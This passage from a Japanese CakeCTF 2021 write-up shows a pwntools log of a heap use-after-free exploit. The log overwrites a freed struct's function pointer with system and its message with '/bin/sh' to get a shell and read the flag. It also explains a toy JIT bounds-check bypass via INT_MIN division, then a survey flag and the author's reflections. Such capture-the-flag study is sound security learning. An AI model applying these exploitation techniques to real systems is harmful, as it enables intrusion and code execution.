    b'  <system> = 0x7f3d3ee82410\n'
    b'\n'
    b'1. Use cowsay\n'
    b'2. Change message\n'
    b'3. Delete cowsay (only once!)\n'
    b'4. Describe heap\n'
    b'> '
0x7f3d3ee82410
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Sent 0x9 bytes:
    00000000  10 24 e8 3e  3d 7f 00 00  0a                        │·$·>│=···│·│
    00000009
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[*] Switching to interactive mode
[DEBUG] Received 0x15 bytes:
    b'[+] Cowsay is deleted'
[+] Cowsay is deleted[DEBUG] Received 0x52 bytes:
    b'\n'
    b'1. Use cowsay\n'
    b'2. Change message\n'
    b'3. Delete cowsay (only once!)\n'
    b'4. Describe heap\n'
    b'> '

1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
> [DEBUG] Received 0x412 bytes:
    b'Message: 1. Use cowsay\n'
    b'2. Change message\n'
    b'3. Delete cowsay (only once!)\n'
    b'4. Describe heap\n'
    b'> Message: 1. Use cowsay\n'
    b'2. Change message\n'
    b'3. Delete cowsay (only once!)\n'
    b'4. Describe heap\n'
    b'> \n'
    b'  [ address ]      [ heap data ]      \n'
    b'               +------------------+\n'
    b'0x55b5e8d5b290 | 0000000000000000 |\n'
    b'               +------------------+\n'
    b'0x55b5e8d5b298 | 0000000000000021 |\n'
    b'               +------------------+ cowsay (freed)\n'
    b'0x55b5e8d5b2a0 | 00007f3d3ee82410 | <-- fn_dialogue (= system)\n'
    b'               +------------------+\n'
    b"0x55b5e8d5b2a8 | 000055b5e8d5b2c0 | <-- message (= '/bin/sh')\n"
    b'               +------------------+\n'
    b'0x55b5e8d5b2b0 | 0000000000000000 |\n'
    b'               +------------------+\n'
    b'0x55b5e8d5b2b8 | 0000000000000021 |\n'
    b'               +------------------+ cowsay->message\n'
    b'0x55b5e8d5b2c0 | 0068732f6e69622f |\n'
    b'               +------------------+\n'
    b'0x55b5e8d5b2c8 | 0000000000000000 |\n'
    b'               +------------------+\n'
    b'1. Use cowsay\n'
    b'2. Change message\n'
    b'3. Delete cowsay (only once!)\n'
    b'4. Describe heap\n'
    b"> [+] You're trying to call 0x00007f3d3ee82410\n"
Message: 1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
> Message: 1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
>
  [ address ]      [ heap data ]
               +------------------+
0x55b5e8d5b290 | 0000000000000000 |
               +------------------+
0x55b5e8d5b298 | 0000000000000021 |
               +------------------+ cowsay (freed)
0x55b5e8d5b2a0 | 00007f3d3ee82410 | <-- fn_dialogue (= system)
               +------------------+
0x55b5e8d5b2a8 | 000055b5e8d5b2c0 | <-- message (= '/bin/sh')
               +------------------+
0x55b5e8d5b2b0 | 0000000000000000 |
               +------------------+
0x55b5e8d5b2b8 | 0000000000000021 |
               +------------------+ cowsay->message
0x55b5e8d5b2c0 | 0068732f6e69622f |
               +------------------+
0x55b5e8d5b2c8 | 0000000000000000 |
               +------------------+
1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
> [+] You're trying to call 0x00007f3d3ee82410
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x30 bytes:
    b'chall\n'
    b'flag-7a6f369885822f1effdbad51554c0467.txt\n'
chall
flag-7a6f369885822f1effdbad51554c0467.txt
$ cat flag-7a6f369885822f1effdbad51554c0467.txt
[DEBUG] Sent 0x2e bytes:
    b'cat flag-7a6f369885822f1effdbad51554c0467.txt\n'
[DEBUG] Received 0x52 bytes:
    b'CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}\n'
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
$

無事フラグを入手できました: CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e} (これも、leetの最後以外はYou pwned full protection binary! Now you know how dangerous UAF is!でしょうけれど、最後の英単語はなんでしょう……?)

[pwn] JIT4b

Do you know how static analysis works in JIT speculation? I don't know.
nc pwn.cakectf.com 9002

配布ファイルを確認すると、challとC++ソースコードがありました:

$ file *
abstract.hpp:    C++ source, ASCII text
chall:           ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a3aadc5aefa48cdceef27a416e131311826c6152, not stripped
instruction.hpp: C++ source, ASCII text
main.cpp:        C++ source, ASCII text

試しに実行してみます:

$ ./chall
Today, let's learn about bounds-checking elimination bug!
JIT is frequently abused in browser exploitation.

The JIT compiler is going to optimize the following function:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   <YOUR CODE GOES HERE>
4|   return arr[x];
5| }

You can apply some basic calculations on `x`, for example:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   x = Math.min(x, 2);
4|   x = Math.max(x, 0);
5|   return arr[x];
6| }

In the code above, JIT will remove the bound check on line 5
because JIT knows `x` is always in Range(0, 2).

However, in the code below, JIT will not remove the bound check
because the speculated range for `x` is Range(-inf, 2),
which may cause (negative) out-of-bound access.

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
4|   x = x * 123;
3|   x = Math.max(x, 2);
5|   return arr[x];
6| }

Your goal is to deceive JIT speculation and access out-of-bound.

Step 1. Build your function
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 1
value: 1
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 0
[+] Your function looks like this:

function f(x) {
  let arr = [3.14, 3.14, 3.14];
  x += 1;
  return arr[x];
}

Step 2. Optimize your function...
[JIT] Speculation: Range(-2147483648, 2147483647)
[JIT] Applying [ x += 1 ]
[JIT] CheckBound: 0 <= Range(-2147483648, 2147483647) < 3?
      --> No. Keeping bound check for security.

Step 3. Call your optimized function
What's the argument `x` passed to `f`?
x = -2
[+] f(-2) --> undefined
[-] That's too ordinal...

この出力内容やソースコード読解をしてみると、境界チェックをさせないようにしつつ範囲外アクセス出来るとフラグが出力されるようです。ソースコードが多いので要点だけ書きますと、abstract.hppの除算の処理に問題がありました:

class Range {
public:
  int min;
  int max;
  Range() : min(numeric_limits<int>::min()),
            max(numeric_limits<int>::max()) {};
  // 中略
  /* Abstract multiplication */
  Range& operator*=(const int& rhs) {
    if (rhs < 0)
      swap(min, max);
    if (__builtin_smul_overflow(min, rhs, &min)
        || __builtin_smul_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min();
      max = numeric_limits<int>::max();
    }
    return *this;
  }

  /* Abstract divition */
  Range& operator/=(const int& rhs) {
    if (rhs < 0)
      *this *= -1; // This swaps min and max properly
    // There's no function named "__builtin_sdiv_overflow"
    // (Integer overflow never happens by integer division!)
    min /= abs(rhs);
    max /= abs(rhs);
    return *this;
  }
  // 中略
};

inline bool operator<=(const int& lhs, const Range& rhs) {
  return lhs <= rhs.min;
}
inline bool operator<(const Range& lhs, const int& rhs) {
  return lhs.max < rhs;
}

ここで除算の右辺としてnumeric_limits<int>::min()(つまり-2147483648)を指定すると、負の整数の表現に2の補数系を使う環境ではabs関数が引数の値そのままを返すためmin=1, max=0となる状況を作れます。Rangeクラスはmin <= maxを前提とした処理となっているため、min > maxとなる状況ではおかしな振る舞いをします。 これを利用することで、範囲チェックを除外させつつ範囲外アクセスをさせることができます:

$ nc pwn.cakectf.com 9002
Today, let's learn about bounds-checking elimination bug!
JIT is frequently abused in browser exploitation.

The JIT compiler is going to optimize the following function:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   <YOUR CODE GOES HERE>
4|   return arr[x];
5| }

You can apply some basic calculations on `x`, for example:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   x = Math.min(x, 2);
4|   x = Math.max(x, 0);
5|   return arr[x];
6| }

In the code above, JIT will remove the bound check on line 5
because JIT knows `x` is always in Range(0, 2).

However, in the code below, JIT will not remove the bound check
because the speculated range for `x` is Range(-inf, 2),
which may cause (negative) out-of-bound access.

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
4|   x = x * 123;
3|   x = Math.max(x, 2);
5|   return arr[x];
6| }

Your goal is to deceive JIT speculation and access out-of-bound.

Step 1. Build your function
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 4
value: -2147483648
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 2
value: 1
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 0
[+] Your function looks like this:

function f(x) {
  let arr = [3.14, 3.14, 3.14];
  x /= -2147483648;
  x -= 1;
  return arr[x];
}

Step 2. Optimize your function...
[JIT] Speculation: Range(-2147483648, 2147483647)
[JIT] Applying [ x /= -2147483648 ]
[JIT] Speculation: Range(1, 0)
[JIT] Applying [ x -= 1 ]
[JIT] CheckBound: 0 <= Range(0, -1) < 3?
      --> Yes. Eliminating bound check for performance.

Step 3. Call your optimized function
What's the argument `x` passed to `f`?
x = 1
[+] f(1) --> 1.63042e-322
[+] Wow! You deceived the JIT compiler!
[+] CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}
$

無事にフラグを入手できました: CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}

[survey] Survey

Solving this challenge won't update the flag submission timestamp. So, take enough time to fill the survey!

アンケートフォーム先頭に書かれていた内容です:

Thank you for playing CakeCTF 2021!

You'll get the flag by filling and submitting this form but you don't need to hurry up.
This challenge does award you some points, but it doesn't update your "last solved challenge" timestamp. You can't get ahead simply by solving the survey faster.
Feedback is very important for us. Please take enough time to fill the survey.

You can send multiple forms if you have multiple members in your team or if you changed your mind.

アンケートを書くと、フラグを入手できました: CakeCTF{w4s_th1s_CTF_p13c3_0f_c4k3_4U?}

感想

  • warmup問題の段階で大分難しかったです。warmupを全完できた時点で達成感がありました。
  • warmupでない問題を解けたときはそれはもう感無量でした。
  • 解けていないreversing問題ではRust製バイナリのものがありました。シンボル名は残っていましたが取っ掛かりがつかめず挫折しました、悔しみ。
  • InterKosenCTF_2020の時とは異なり、ちゃんとwrite-upを書きつつSurvey提出は間に合わせました。
  • IDAの逆コンパイルはすごい!Free版ではx64バイナリ限定ですがとてもすごい!!Reversingがものすごく楽!!!
  • Discordのsolvesチャンネルで各問題正解時にbotが書き込んでくれるのですが、今回も運営者の方々が1~3番目の正解者の場合にメダルのリアクションをつけてくださるのが良かったです: